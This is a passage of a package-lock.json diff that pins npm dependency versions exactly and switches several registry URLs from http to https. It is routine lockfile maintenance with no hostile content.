@@ "integrity": "sha1-nxJLZ1lMk3/3BpMuSmQsyo27/uk=", "dev": true, "requires": { - "get-stdin": "^4.0.1", - "meow": "^3.3.0" + "get-stdin": "4.0.1", + "meow": "3.7.0" } }, "debug": { @@ -3410,7 +3409,7 @@ "integrity": "sha512-+QeIQyN5ZuO+3Uk5DYh6/1eKO0m0YmJFGNmFHGACpf1ClL1nmlV/p4gNgbl2pJGxgXb4faqo6UE+M5ACEMyVcw==", "dev": true, "requires": { - "type-detect": "^4.0.0" + "type-detect": "4.0.8" } }, "deep-equal": { @@ -3431,8 +3430,8 @@ "integrity": "sha512-lAc4i9QJR0YHSDFdzeBQKfZ1SRDG3hsJNEkrpcZa8QhBfidLAilT60BDEIVUUGqosFp425KOgB3uYqcnQrWafQ==", "dev": true, "requires": { - "execa": "^0.10.0", - "ip-regex": "^2.1.0" + "execa": "0.10.0", + "ip-regex": "2.1.0" }, "dependencies": { "cross-spawn": { @@ -3441,11 +3440,11 @@ "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==", "dev": true, "requires": { - "nice-try": "^1.0.4", - "path-key": "^2.0.1", - "semver": "^5.5.0", - "shebang-command": "^1.2.0", - "which": "^1.2.9" + "nice-try": "1.0.5", + "path-key": "2.0.1", + "semver": "5.5.1", + "shebang-command": "1.2.0", + "which": "1.3.0" } }, "execa": { @@ -3454,13 +3453,13 @@ "integrity": "sha512-7XOMnz8Ynx1gGo/3hyV9loYNPWM94jG3+3T3Y8tsfSstFmETmENCMU/A/zj8Lyaj1lkgEepKepvd6240tBRvlw==", "dev": true, "requires": { - "cross-spawn": "^6.0.0", - "get-stream": "^3.0.0", - "is-stream": "^1.1.0", - "npm-run-path": "^2.0.0", - "p-finally": "^1.0.0", - "signal-exit": "^3.0.0", - "strip-eof": "^1.0.0" + "cross-spawn": "6.0.5", + "get-stream": "3.0.0", + "is-stream": "1.1.0", + "npm-run-path": "2.0.2", + "p-finally": "1.0.0", + "signal-exit": "3.0.2", + "strip-eof": "1.0.0" } }, "semver": { @@ -3477,7 +3476,7 @@ "integrity": "sha512-3MqfYKj2lLzdMSf8ZIZE/V+Zuy+BgD6f164e8K2w7dgnpKArBDerGYpM46IYYcjnkdPNMjPk9A6VFB8+3SKlXQ==", "dev": true, "requires": { - "object-keys": "^1.0.12" + "object-keys": "1.0.12" } }, "define-property": { @@ -3486,8 +3485,8 @@ "integrity": "sha512-jwK2UV4cnPpbcG7+VRARKTZPUWowwXA8bzH5NP6ud0oeAxyYPuGZUAC7hMugpCdz4BeSZl2Dl9k66CHJ/46ZYQ==", "dev": true, "requires": { - "is-descriptor": "^1.0.2", - "isobject": "^3.0.1" + "is-descriptor": "1.0.2", + "isobject": "3.0.1" }, "dependencies": { "is-accessor-descriptor": { @@ -3496,7 +3495,7 @@ "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", "dev": true, "requires": { - "kind-of": "^6.0.0" + "kind-of": "6.0.2" } }, "is-data-descriptor": { @@ -3505,7 +3504,7 @@ "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", "dev": true, "requires": { - "kind-of": "^6.0.0" + "kind-of": "6.0.2" } }, "is-descriptor": { @@ -3514,9 +3513,9 @@ "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", "dev": true, "requires": { - "is-accessor-descriptor": "^1.0.0", - "is-data-descriptor": "^1.0.0", - "kind-of": "^6.0.2" + "is-accessor-descriptor": "1.0.0", + "is-data-descriptor": "1.0.0", + "kind-of": "6.0.2" } }, "isobject": { @@ -3539,13 +3538,13 @@ "integrity": "sha1-wSyYHQZ4RshLyvhiz/kw2Qf/0ag=", "dev": true, "requires": { - "globby": "^5.0.0", - "is-path-cwd": "^1.0.0", - "is-path-in-cwd": "^1.0.0", - "object-assign": "^4.0.1", - "pify": "^2.0.0", - "pinkie-promise": "^2.0.0", - "rimraf": "^2.2.8" + "globby": "5.0.0", + "is-path-cwd": "1.0.0", + "is-path-in-cwd": "1.0.1", + "object-assign": "4.1.1", + "pify": "2.3.0", + "pinkie-promise": "2.0.1", + "rimraf": "2.6.2" } }, "delayed-stream": { @@ -3566,8 +3565,8 @@ "integrity": "sha1-wHTS4qpqipoH29YfmhXCzYPsjsw=", "dev": true, "requires": { - "inherits": "^2.0.1", - "minimalistic-assert": "^1.0.0" + "inherits": "2.0.3", + "minimalistic-assert": "1.0.1" } }, "destroy": { @@ -3582,7 +3581,7 @@ "integrity": "sha1-920GQ1LN9Docts5hnE7jqUdd4gg=", "dev": true, "requires": { - "repeating": "^2.0.0" + "repeating": "2.0.1" } }, "detect-node": { @@ -3605,13 +3604,13 @@ }, "diffie-hellman": { "version": "5.0.3", - "resolved": "http://registry.npmjs.org/diffie-hellman/-/diffie-hellman-5.0.3.tgz", + "resolved": "https://registry.npmjs.org/diffie-hellman/-/diffie-hellman-5.0.3.tgz", "integrity": "sha512-kqag/Nl+f3GwyK25fhUMYj81BUOrZ9IuJsjIcDE5icNM9FJHAVm3VcUDxdLPoQtTuUylWm6ZIknYJwwaPxsUzg==", "dev": true, "requires": { - "bn.js": "^4.1.0", - "miller-rabin": "^4.0.0", - "randombytes": "^2.0.0" + "bn.js": "4.11.8", + "miller-rabin": "4.0.1", + "randombytes": "2.0.6" } }, "dns-equal": { @@ -3626,8 +3625,8 @@ "integrity": "sha512-0UxfQkMhYAUaZI+xrNZOz/as5KgDU0M/fQ9b6SpkyLbk3GEswDi6PADJVaYJradtRVsRIlF1zLyOodbcTCDzUg==", "dev": true, "requires": { - "ip": "^1.1.0", - "safe-buffer": "^5.0.1" + "ip": "1.1.5", + "safe-buffer": "5.1.1" } }, "dns-txt": { @@ -3636,7 +3635,7 @@ "integrity": "sha1-uR2Ab10nGI5Ks+fRB9iBocxGQrY=", "dev": true, "requires": { - "buffer-indexof": "^1.0.0" + "buffer-indexof": "1.1.1" } }, "doctrine": { @@ -3645,7 +3644,7 @@ "integrity": "sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==", "dev": true, "requires": { - "esutils": "^2.0.2" + "esutils": "2.0.2" } }, "dom-converter": { @@ -3654,7 +3653,7 @@ "integrity": "sha1-pF71cnuJDJv/5tfIduexnLDhfzs=", "dev": true, "requires": { - "utila": "~0.3" + "utila": "0.3.3" }, "dependencies": { "utila": { @@ -3670,7 +3669,7 @@ "resolved": "https://registry.npmjs.org/dom-helpers/-/dom-helpers-3.4.0.tgz", "integrity": "sha512-LnuPJ+dwqKDIyotW1VzmOZ5TONUN7CwkCR5hrgawTUbkBGYdeoNLZo6nNfGkCrjtE1nXXaj7iMMpDa8/d9WoIA==", "requires": { - "@babel/runtime": "^7.1.2" + "@babel/runtime": "7.1.5" } }, "dom-serialize": { @@ -3679,10 +3678,10 @@ "integrity": "sha1-ViromZ9Evl6jB29UGdzVnrQ6yVs=", "dev": true, "requires": { - "custom-event": "~1.0.0", - "ent": "~2.2.0", - "extend": "^3.0.0", - "void-elements": "^2.0.0" + "custom-event": "1.0.1", + "ent": "2.2.0", + "extend": "3.0.1", + "void-elements": "2.0.1" } }, "dom-serializer": { @@ -3691,8 +3690,8 @@ "integrity": "sha1-BzxpdUbOB4DOI75KKOKT5AvDDII=", "dev": true, "requires": { - "domelementtype": "~1.1.1", - "entities": "~1.1.1" + "domelementtype": "1.1.3", + "entities": "1.1.1" }, "dependencies": { "domelementtype": { @@ -3727,7 +3726,7 @@ "integrity": "sha1-0mRvXlf2w7qxHPbLBdPArPdBJZQ=", "dev": true, "requires": { - "domelementtype": "1" + "domelementtype": "1.3.0" } }, "domutils": { @@ -3736,8 +3735,8 @@ "integrity": "sha1-3NhIiib1Y9YQeeSMn3t+Mjc2gs8=", "dev": true, "requires": { - "dom-serializer": "0", - "domelementtype": "1" + "dom-serializer": "0.1.0", + "domelementtype": "1.3.0" } }, "downloadjs": { @@ -3751,10 +3750,10 @@ "integrity": "sha512-fO3Di4tBKJpYTFHAxTU00BcfWMY9w24r/x21a6rZRbsD/ToUgGxsMbiGRmB7uVAXeGKXD9MwiLZa5E97EVgIRQ==", "dev": true, "requires": { - "end-of-stream": "^1.0.0", - "inherits": "^2.0.1", - "readable-stream": "^2.0.0", - "stream-shift": "^1.0.0" + "end-of-stream": "1.4.1", + "inherits": "2.0.3", + "readable-stream": "2.3.6", + "stream-shift": "1.0.0" }, "dependencies": { "isarray": { @@ -3771,17 +3770,17 @@ }, "readable-stream": { "version": "2.3.6", - "resolved": "http://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", "dev": true, "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" + "core-util-is": "1.0.2", + "inherits": "2.0.3", + "isarray": "1.0.0", + "process-nextick-args": "2.0.0", + "safe-buffer": "5.1.1", + "string_decoder": "1.1.1", + "util-deprecate": "1.0.2" } }, "string_decoder": { @@ -3790,7 +3789,7 @@ "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", "dev": true, "requires": { - "safe-buffer": "~5.1.0" + "safe-buffer": "5.1.1" } } } @@ -3802,7 +3801,7 @@ "dev": true, "optional": true, "requires": { - "jsbn": "~0.1.0" + "jsbn": "0.1.1" } }, "ee-first": { @@ -3828,13 +3827,13 @@ "integrity": "sha512-BsXLz5sqX8OHcsh7CqBMztyXARmGQ3LWPtGjJi6DiJHq5C/qvi9P3OqgswKSDftbu8+IoI/QDTAm2fFnQ9SZSQ==", "dev": true, "requires": { - "bn.js": "^4.4.0", - "brorand": "^1.0.1", - "hash.js": "^1.0.0", - "hmac-drbg": "^1.0.0", - "inherits": "^2.0.1", - "minimalistic-assert": "^1.0.0", - "minimalistic-crypto-utils": "^1.0.0" + "bn.js": "4.11.8", + "brorand": "1.1.0", + "hash.js": "1.1.5", + "hmac-drbg": "1.0.1", + "inherits": "2.0.3", + "minimalistic-assert": "1.0.1", + "minimalistic-crypto-utils": "1.0.1" } }, "emitter-component": { @@ -3859,7 +3858,7 @@ "resolved": "https://registry.npmjs.org/encoding/-/encoding-0.1.12.tgz", "integrity": "sha1-U4tm8+5izRq1HsMjgp0flIDHS+s=", "requires": { - "iconv-lite": "~0.4.13" + "iconv-lite": "0.4.18" } }, "end-of-stream": { @@ -3868,7 +3867,7 @@ "integrity": "sha512-1MkrZNvWTKCaigbn+W15elq2BB/L22nqrSY5DKlo3X6+vclJm8Bb5djXJBmEX6fS3+zCh/F4VBK5Z2KxJt4s2Q==", "dev": true, "requires": { - "once": "^1.4.0" + "once": "1.4.0" } }, "engine.io": { @@ -3877,12 +3876,12 @@ "integrity": "sha512-mRbgmAtQ4GAlKwuPnnAvXXwdPhEx+jkc0OBCLrXuD/CRvwNK3AxRSnqK4FSqmAMRRHryVJP8TopOvmEaA64fKw==", "dev": true, "requires": { - "accepts": "~1.3.4", + "accepts": "1.3.5", "base64id": "1.0.0", "cookie": "0.3.1", - "debug": "~3.1.0", - "engine.io-parser": "~2.1.0", - "ws": "~3.3.1" + "debug": "3.1.0", + "engine.io-parser": "2.1.2", + "ws": "3.3.3" }, "dependencies": { "debug": { @@ -3904,14 +3903,14 @@ "requires": { "component-emitter": "1.2.1", "component-inherit": "0.0.3", - "debug": "~3.1.0", - "engine.io-parser": "~2.1.1", + "debug": "3.1.0", + "engine.io-parser": "2.1.2", "has-cors": "1.1.0", "indexof": "0.0.1", "parseqs": "0.0.5", "parseuri": "0.0.5", - "ws": "~3.3.1", - "xmlhttprequest-ssl": "~1.5.4", + "ws": "3.3.3", + "xmlhttprequest-ssl": "1.5.5", "yeast": "0.1.2" }, "dependencies": { @@ -3933,10 +3932,10 @@ "dev": true, "requires": { "after": "0.8.2", - "arraybuffer.slice": "~0.0.7", + "arraybuffer.slice": "0.0.7", "base64-arraybuffer": "0.1.5", "blob": "0.0.4", - "has-binary2": "~1.0.2" + "has-binary2": "1.0.3" } }, "enhanced-resolve": { @@ -3945,9 +3944,9 @@ "integrity": "sha512-F/7vkyTtyc/llOIn8oWclcB25KdRaiPBpZYDgJHgh/UHtpgT2p2eldQgtQnLtUvfMKPKxbRaQM/hHkvLHt1Vng==", "dev": true, "requires": { - "graceful-fs": "^4.1.2", - "memory-fs": "^0.4.0", - "tapable": "^1.0.0" + "graceful-fs": "4.1.11", + "memory-fs": "0.4.1", + "tapable": "1.0.0" } }, "ent": { @@ -3968,7 +3967,7 @@ "integrity": "sha512-MfrRBDWzIWifgq6tJj60gkAwtLNb6sQPlcFrSOflcP1aFmmruKQ2wRnze/8V6kgyz7H3FF8Npzv78mZ7XLLflg==", "dev": true, "requires": { - "prr": "~1.0.1" + "prr": "1.0.1" } }, "error-ex": { @@ -3977,7 +3976,7 @@ "integrity": "sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==", "dev": true, "requires": { - "is-arrayish": "^0.2.1" + "is-arrayish": "0.2.1" } }, "es-abstract": { @@ -3986,11 +3985,11 @@ "integrity": "sha512-C8Fx/0jFmV5IPoMOFPA9P9G5NtqW+4cOPit3MIuvR2t7Ag2K15EJTpxnHAYTzL+aYQJIESYeXZmDBfOBE1HcpA==", "dev": true, "requires": { - "es-to-primitive": "^1.1.1", - "function-bind": "^1.1.1", - "has": "^1.0.1", - "is-callable": "^1.1.3", - "is-regex": "^1.0.4" + "es-to-primitive": "1.1.1", + "function-bind": "1.1.1", + "has": "1.0.3", + "is-callable": "1.1.4", + "is-regex": "1.0.4" } }, "es-to-primitive": { @@ -3999,9 +3998,9 @@ "integrity": "sha1-RTVSSKiJeQNLZ5Lhm7gfK3l13Q0=", "dev": true, "requires": { - "is-callable": "^1.1.1", - "is-date-object": "^1.0.1", - "is-symbol": "^1.0.1" + "is-callable": "1.1.4", + "is-date-object": "1.0.1", + "is-symbol": "1.0.1" } }, "es5-ext": { @@ -4010,9 +4009,9 @@ "integrity": "sha512-24XxRvJXNFwEMpJb3nOkiRJKRoupmjYmOPVlI65Qy2SrtxwOTB+g6ODjBKOtwEHbYrhWRty9xxOWLNdClT2djw==", "dev": true, "requires": { - "es6-iterator": "~2.0.3", - "es6-symbol": "~3.1.1", - "next-tick": "1" + "es6-iterator": "2.0.3", + "es6-symbol": "3.1.1", + "next-tick": "1.0.0" } }, "es6-iterator": { @@ -4021,9 +4020,9 @@ "integrity": "sha1-p96IkUGgWpSwhUQDstCg+/qY87c=", "dev": true, "requires": { - "d": "1", - "es5-ext": "^0.10.35", - "es6-symbol": "^3.1.1" + "d": "1.0.0", + "es5-ext": "0.10.46", + "es6-symbol": "3.1.1" } }, "es6-promise": { @@ -4038,8 +4037,8 @@ "integrity": "sha1-vwDvT9q2uhtG7Le2KbTH7VcVzHc=", "dev": true, "requires": { - "d": "1", - "es5-ext": "~0.10.14" + "d": "1.0.0", + "es5-ext": "0.10.46" } }, "es6-templates": { @@ -4048,8 +4047,8 @@ "integrity": "sha1-XLmsn7He1usSOTQrgdeSu7QHjuQ=", "dev": true, "requires": { - "recast": "~0.11.12", - "through": "~2.3.6" + "recast": "0.11.23", + "through": "2.3.8" } }, "escape-html": { @@ -4070,11 +4069,11 @@ "integrity": "sha1-WltTr0aTEQvrsIZ6o0MN07cKEBg=", "dev": true, "requires": { - "esprima": "^2.7.1", - "estraverse": "^1.9.1", - "esutils": "^2.0.2", - "optionator": "^0.8.1", - "source-map": "~0.2.0" + "esprima": "2.7.3", + "estraverse": "1.9.3", + "esutils": "2.0.2", + "optionator": "0.8.2", + "source-map": "0.2.0" }, "dependencies": { "estraverse": { @@ -4090,7 +4089,7 @@ "dev": true, "optional": true, "requires": { - "amdefine": ">=0.0.4" + "amdefine": "1.0.1" } } } @@ -4101,44 +4100,44 @@ "integrity": "sha512-hgrDtGWz368b7Wqf+v1Z69O3ZebNR0+GA7PtDdbmuz4rInFVUV9uw7whjZEiWyLzCjVb5Rs5WRN1TAS6eo7AYA==", "dev": true, "requires": { - "@babel/code-frame": "^7.0.0", - "ajv": "^6.5.3", - "chalk": "^2.1.0", - "cross-spawn": "^6.0.5", - "debug": "^4.0.1", - "doctrine": "^2.1.0", - "eslint-scope": "^4.0.0", - "eslint-utils": "^1.3.1", - "eslint-visitor-keys": "^1.0.0", - "espree": "^4.0.0", - "esquery": "^1.0.1", - "esutils": "^2.0.2", - "file-entry-cache": "^2.0.0", - "functional-red-black-tree": "^1.0.1", - "glob": "^7.1.2", - "globals": "^11.7.0", - "ignore": "^4.0.6", - "imurmurhash": "^0.1.4", - "inquirer": "^6.1.0", - "is-resolvable": "^1.1.0", - "js-yaml": "^3.12.0", - "json-stable-stringify-without-jsonify": "^1.0.1", - "levn": "^0.3.0", - "lodash": "^4.17.5", - "minimatch": "^3.0.4", - "mkdirp": "^0.5.1", - "natural-compare": "^1.4.0", - "optionator": "^0.8.2", - "path-is-inside": "^1.0.2", - "pluralize": "^7.0.0", - "progress": "^2.0.0", - "regexpp": "^2.0.0", - "require-uncached": "^1.0.3", - "semver": "^5.5.1", - "strip-ansi": "^4.0.0", - "strip-json-comments": "^2.0.1", - "table": "^4.0.3", - "text-table": "^0.2.0" + "@babel/code-frame": "7.0.0", + "ajv": "6.5.4", + "chalk": "2.4.1", + "cross-spawn": "6.0.5", + "debug": "4.1.0", + "doctrine": "2.1.0", + "eslint-scope": "4.0.0", + "eslint-utils": "1.3.1", + "eslint-visitor-keys": "1.0.0", + "espree": "4.0.0", + "esquery": "1.0.1", + "esutils": "2.0.2", + "file-entry-cache": "2.0.0", + "functional-red-black-tree": "1.0.1", + "glob": "7.1.3", + "globals": "11.8.0", + "ignore": "4.0.6", + "imurmurhash": "0.1.4", + "inquirer": "6.2.0", + "is-resolvable": "1.1.0", + "js-yaml": "3.12.0", + "json-stable-stringify-without-jsonify": "1.0.1", + "levn": "0.3.0", + "lodash": "4.17.10", + "minimatch": "3.0.4", + "mkdirp": "0.5.1", + "natural-compare": "1.4.0", + "optionator": "0.8.2", + "path-is-inside": "1.0.2", + "pluralize": "7.0.0", + "progress": "2.0.0", + "regexpp": "2.0.1", + "require-uncached": "1.0.3", + "semver": "5.5.1", + "strip-ansi": "4.0.0", + "strip-json-comments": "2.0.1", + "table": "4.0.3", + "text-table": "0.2.0" }, "dependencies": { "@babel/code-frame": { @@ -4147,7 +4146,7 @@ "integrity": "sha512-OfC2uemaknXr87bdLUkWog7nYuliM9Ij5HUcajsVcMCpQrcLmtxRbVFTIqmcSkSeYRBFBRxs2FiUqFJDLdiebA==", "dev": true, "requires": { - "@babel/highlight": "^7.0.0" + "@babel/highlight": "7.0.0" } }, "@babel/highlight": { @@ -4156,9 +4155,9 @@ "integrity": "sha512-UFMC4ZeFC48Tpvj7C8UgLvtkaUuovQX+5xNWrsIoMG8o2z+XFKjKaN9iVmS84dPwVN00W4wPmqvYoZF3EGAsfw==", "dev": true, "requires": { - "chalk": "^2.0.0", - "esutils": "^2.0.2", - "js-tokens": "^4.0.0" + "chalk": "2.4.1", + "esutils": "2.0.2", + "js-tokens": "4.0.0" } }, "ajv": { @@ -4167,10 +4166,10 @@ "integrity": "sha512-4Wyjt8+t6YszqaXnLDfMmG/8AlO5Zbcsy3ATHncCzjW/NoPzAId8AK6749Ybjmdt+kUY1gP60fCu46oDxPv/mg==", "dev": true, "requires": { - "fast-deep-equal": "^2.0.1", - "fast-json-stable-stringify": "^2.0.0", - "json-schema-traverse": "^0.4.1", - "uri-js": "^4.2.2" + "fast-deep-equal": "2.0.1", + "fast-json-stable-stringify": "2.0.0", + "json-schema-traverse": "0.4.1", + "uri-js": "4.2.2" } }, "ansi-regex": { @@ -4185,7 +4184,7 @@ "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", "dev": true, "requires": { - "color-convert": "^1.9.0" + "color-convert": "1.9.0" } }, "chalk": { @@ -4218,7 +4217,7 @@ "integrity": "sha512-heNPJUJIqC+xB6ayLAMHaIrmN9HKa7aQO8MGqKpvCA+uJYVcvR6l5kgdrhRuwPFHU7P5/A1w0BjByPHwpfTDKg==", "dev": true, "requires": { - "ms": "^2.1.1" + "ms": "2.1.1" } }, "eslint-scope": { @@ -4310,7 +4309,7 @@ "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", "dev": true, "requires": { - "has-flag": "^3.0.0" + "has-flag": "3.0.0" } } } @@ -4321,11 +4320,11 @@ "integrity": "sha512-1GrJFfSevQdYpoDzx8mEE2TDWsb/zmFuY09l6hURg1AeFIKQOvZ+vH0UPjzmd1CZIbfTV5HUkMeBmFiDBkgIsQ==", "dev": true, "requires": { - "loader-fs-cache": "^1.0.0", - "loader-utils": "^1.0.2", - "object-assign": "^4.0.1", - "object-hash": "^1.1.4", - "rimraf": "^2.6.1" + "loader-fs-cache": "1.0.1", + "loader-utils": "1.1.0", + "object-assign": "4.1.1", + "object-hash": "1.3.0", + "rimraf": "2.6.2" }, "dependencies": { "loader-utils": { @@ -4347,11 +4346,11 @@ "integrity": "sha512-cVVyMadRyW7qsIUh3FHp3u6QHNhOgVrLQYdQEB1bPWBsgbNCHdFAeNMquBMCcZJu59eNthX053L70l7gRt4SCw==", "dev": true, "requires": { - "array-includes": "^3.0.3", - "doctrine": "^2.1.0", - "has": "^1.0.3", - "jsx-ast-utils": "^2.0.1", - "prop-types": "^15.6.2" + "array-includes": "3.0.3", + "doctrine": "2.1.0", + "has": "1.0.3", + "jsx-ast-utils": "2.0.1", + "prop-types": "15.6.2" } }, "eslint-scope": { @@ -4360,8 +4359,8 @@ "integrity": "sha1-PWPD7f2gLgbgGkUq2IyqzHzctug=", "dev": true, "requires": { - "esrecurse": "^4.1.0", - "estraverse": "^4.1.1" + "esrecurse": "4.2.1", + "estraverse": "4.2.0" } }, "eslint-utils": { @@ -4382,8 +4381,8 @@ "integrity": "sha512-kapdTCt1bjmspxStVKX6huolXVV5ZfyZguY1lcfhVVZstce3bqxH9mcLzNn3/mlgW6wQ732+0fuG9v7h0ZQoKg==", "dev": true, "requires": { - "acorn": "^5.6.0", - "acorn-jsx": "^4.1.1" + "acorn": "5.7.3", + "acorn-jsx": "4.1.1" } }, "esprima": { @@ -4398,7 +4397,7 @@ "integrity": "sha512-SmiyZ5zIWH9VM+SRUReLS5Q8a7GxtRdxEBVZpm98rJM7Sb+A9DVCndXfkeFUd3byderg+EbDkfnevfCwynWaNA==", "dev": true, "requires": { - "estraverse": "^4.0.0" + "estraverse": "4.2.0" } }, "esrecurse": { @@ -4407,7 +4406,7 @@ "integrity": "sha512-64RBB++fIOAXPw3P9cy89qfMlvZEXZkqqJkjqqXIvzP5ezRZjW+lPWjw35UX/3EhUPFYbg5ER4JYgDw4007/DQ==", "dev": true, "requires": { - "estraverse": "^4.1.0" + "estraverse": "4.2.0" } }, "estraverse": { @@ -4446,7 +4445,7 @@ "integrity": "sha1-Cs7ehJ7X3RzMMsgRuxG5RNTykjI=", "dev": true, "requires": { - "original": ">=0.0.5" + "original": "1.0.2" } }, "evp_bytestokey": { @@ -4455,8 +4454,8 @@ "integrity": "sha512-/f2Go4TognH/KvCISP7OUsHn85hT9nUkxxA9BEWxFn+Oj9o8ZNLm/40hdlgSLyuOimsrTKLUMEorQexp/aPQeA==", "dev": true, "requires": { - "md5.js": "^1.3.4", - "safe-buffer": "^5.1.1" + "md5.js": "1.3.5", + "safe-buffer": "5.1.1" } }, "execa": { @@ -4465,13 +4464,13 @@ "integrity": "sha1-lEvs00zEHuMqY6n68nrVpl/Fl3c=", "dev": true, "requires": { - "cross-spawn": "^5.0.1", - "get-stream": "^3.0.0", - "is-stream": "^1.1.0", - "npm-run-path": "^2.0.0", - "p-finally": "^1.0.0", - "signal-exit": "^3.0.0", - "strip-eof": "^1.0.0" + "cross-spawn": "5.1.0", + "get-stream": "3.0.0", + "is-stream": "1.1.0", + "npm-run-path": "2.0.2", + "p-finally": "1.0.0", + "signal-exit": "3.0.2", + "strip-eof": "1.0.0" } }, "expand-braces": { @@ -4480,9 +4479,9 @@ "integrity": "sha1-SIsdHSRRyz06axks/AMPRMWFX+o=", "dev": true, "requires": { - "array-slice": "^0.2.3", - "array-unique": "^0.2.1", - "braces": "^0.1.2" + "array-slice": "0.2.3", + "array-unique": "0.2.1", + "braces": "0.1.5" }, "dependencies": { "braces": { @@ -4491,7 +4490,7 @@ "integrity": "sha1-wIVxEIUpHYt1/ddOqw+FlygHEeY=", "dev": true, "requires": { - "expand-range": "^0.1.0" + "expand-range": "0.1.1" } }, "expand-range": { @@ -4500,8 +4499,8 @@ "integrity": "sha1-TLjtoJk8pW+k9B/ELzy7TMrf8EQ=", "dev": true, "requires": { - "is-number": "^0.1.1", - "repeat-string": "^0.2.2" + "is-number": "0.1.1", + "repeat-string": "0.2.2" } }, "is-number": { @@ -4525,7 +4524,7 @@ "dev": true, "optional": true, "requires": { - "is-posix-bracket": "^0.1.0" + "is-posix-bracket": "0.1.1" } }, "expand-range": { @@ -4535,45 +4534,45 @@ "dev": true, "optional": true, "requires": { - "fill-range": "^2.1.0" + "fill-range": "2.2.3" } }, "express": { "version": "4.16.3", - "resolved": "http://registry.npmjs.org/express/-/express-4.16.3.tgz", + "resolved": "https://registry.npmjs.org/express/-/express-4.16.3.tgz", "integrity": "sha1-avilAjUNsyRuzEvs9rWjTSL37VM=", "dev": true, "requires": { - "accepts": "~1.3.5", + "accepts": "1.3.5", "array-flatten": "1.1.1", "body-parser": "1.18.2", "content-disposition": "0.5.2", - "content-type": "~1.0.4", + "content-type": "1.0.4", "cookie": "0.3.1", "cookie-signature": "1.0.6", "debug": "2.6.9", - "depd": "~1.1.2", - "encodeurl": "~1.0.2", - "escape-html": "~1.0.3", - "etag": "~1.8.1", + "depd": "1.1.2", + "encodeurl": "1.0.2", + "escape-html": "1.0.3", + "etag": "1.8.1", "finalhandler": "1.1.1", "fresh": "0.5.2", "merge-descriptors": "1.0.1", - "methods": "~1.1.2", - "on-finished": "~2.3.0", - "parseurl": "~1.3.2", + "methods": "1.1.2", + "on-finished": "2.3.0", + "parseurl": "1.3.2", "path-to-regexp": "0.1.7", - "proxy-addr": "~2.0.3", + "proxy-addr": "2.0.4", "qs": "6.5.1", - "range-parser": "~1.2.0", + "range-parser": "1.2.0", "safe-buffer": "5.1.1", "send": "0.16.2", "serve-static": "1.13.2", "setprototypeof": "1.1.0", - "statuses": "~1.4.0", - "type-is": "~1.6.16", + "statuses": "1.4.0", + "type-is": "1.6.16", "utils-merge": "1.0.1", - "vary": "~1.1.2" + "vary": "1.1.2" }, "dependencies": { "array-flatten": { @@ -4589,15 +4588,15 @@ "dev": true, "requires": { "bytes": "3.0.0", - "content-type": "~1.0.4", + "content-type": "1.0.4", "debug": "2.6.9", - "depd": "~1.1.1", - "http-errors": "~1.6.2", + "depd": "1.1.2", + "http-errors": "1.6.3", "iconv-lite": "0.4.19", - "on-finished": "~2.3.0", + "on-finished": "2.3.0", "qs": "6.5.1", "raw-body": "2.3.2", - "type-is": "~1.6.15" + "type-is": "1.6.16" } }, "debug": { @@ -4611,17 +4610,17 @@ }, "finalhandler": { "version": "1.1.1", - "resolved": "http://registry.npmjs.org/finalhandler/-/finalhandler-1.1.1.tgz", + "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.1.1.tgz", "integrity": "sha512-Y1GUDo39ez4aHAw7MysnUD5JzYX+WaIj8I57kO3aEPT1fFRL4sr7mjei97FgnwhAyyzRYmQZaTHb2+9uZ1dPtg==", "dev": true, "requires": { "debug": "2.6.9", - "encodeurl": "~1.0.2", - "escape-html": "~1.0.3", - "on-finished": "~2.3.0", - "parseurl": "~1.3.2", - "statuses": "~1.4.0", - "unpipe": "~1.0.0" + "encodeurl": "1.0.2", + "escape-html": "1.0.3", + "on-finished": "2.3.0", + "parseurl": "1.3.2", + "statuses": "1.4.0", + "unpipe": "1.0.0" } }, "iconv-lite": { @@ -4663,7 +4662,7 @@ "depd": "1.1.1", "inherits": "2.0.3", "setprototypeof": "1.0.3", - "statuses": ">= 1.3.1 < 2" + "statuses": "1.4.0" } }, "setprototypeof": { @@ -4694,8 +4693,8 @@ "integrity": "sha1-Jqcarwc7OfshJxcnRhMcJwQCjbg=", "dev": true, "requires": { - "assign-symbols": "^1.0.0", - "is-extendable": "^1.0.1" + "assign-symbols": "1.0.0", + "is-extendable": "1.0.1" }, "dependencies": { "is-extendable": { @@ -4704,7 +4703,7 @@ "integrity": 